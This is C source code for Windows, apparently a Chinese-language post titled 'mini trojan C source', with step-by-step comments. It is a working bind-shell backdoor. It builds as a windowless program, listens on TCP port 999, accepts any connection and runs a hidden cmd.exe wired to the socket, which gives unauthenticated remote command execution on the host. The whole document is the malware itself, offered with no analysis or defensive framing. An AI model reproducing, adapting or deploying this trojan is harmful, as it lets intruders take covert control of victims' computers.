mini木马c源码

#pragma comment(lib, "ws2_32.lib")

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#include <winsock2.h>

#include <windows.h>

#define MasterPort 999  //定义监听端口999

int main(void)

{
    WSADATA WSADa;
    sockaddr_in SockAddrIn;
    SOCKET CSocket,SSocket;
    int iAddrSize;
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;
    char szCMDPath[255];

//分配内存资源，初始化数据：

ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));

ZeroMemory(&WSADa, sizeof(WSADATA));

 

//获取cmd路径

GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

 

//加载ws2_32.dll：

WSAStartup(0x0202,&WSADa);

 

//设置本地信息和绑定协议，建立socket，代码如下：

SockAddrIn.sin_family = AF_INET;

SockAddrIn.sin_addr.s_addr = INADDR_ANY;

SockAddrIn.sin_port = htons(MasterPort);

CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

 

//设置绑定端口999：

bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));

 

 //设置服务器端监听端口：

listen(CSocket,1);

iAddrSize = sizeof(SockAddrIn);

 

//开始连接远程服务器，并配置隐藏窗口结构体：

SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);

StartupInfo.cb = sizeof(STARTUPINFO);

StartupInfo.wShowWindow = SW_HIDE;

StartupInfo.dwFlags = STARTF_USESTDHANDLES |

STARTF_USESHOWWINDOW;

StartupInfo.hStdInput = (HANDLE)SSocket;

StartupInfo.hStdOutput = (HANDLE)SSocket;

StartupInfo.hStdError = (HANDLE)SSocket;

 

//创建匿名管道：

CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

CloseHandle(ProcessInfo.hProcess);

CloseHandle(ProcessInfo.hThread);

 

//关闭进程句柄：

closesocket(CSocket);

closesocket(SSocket);

WSACleanup();

  //关闭连接卸载ws2_32.dll

return 0;

}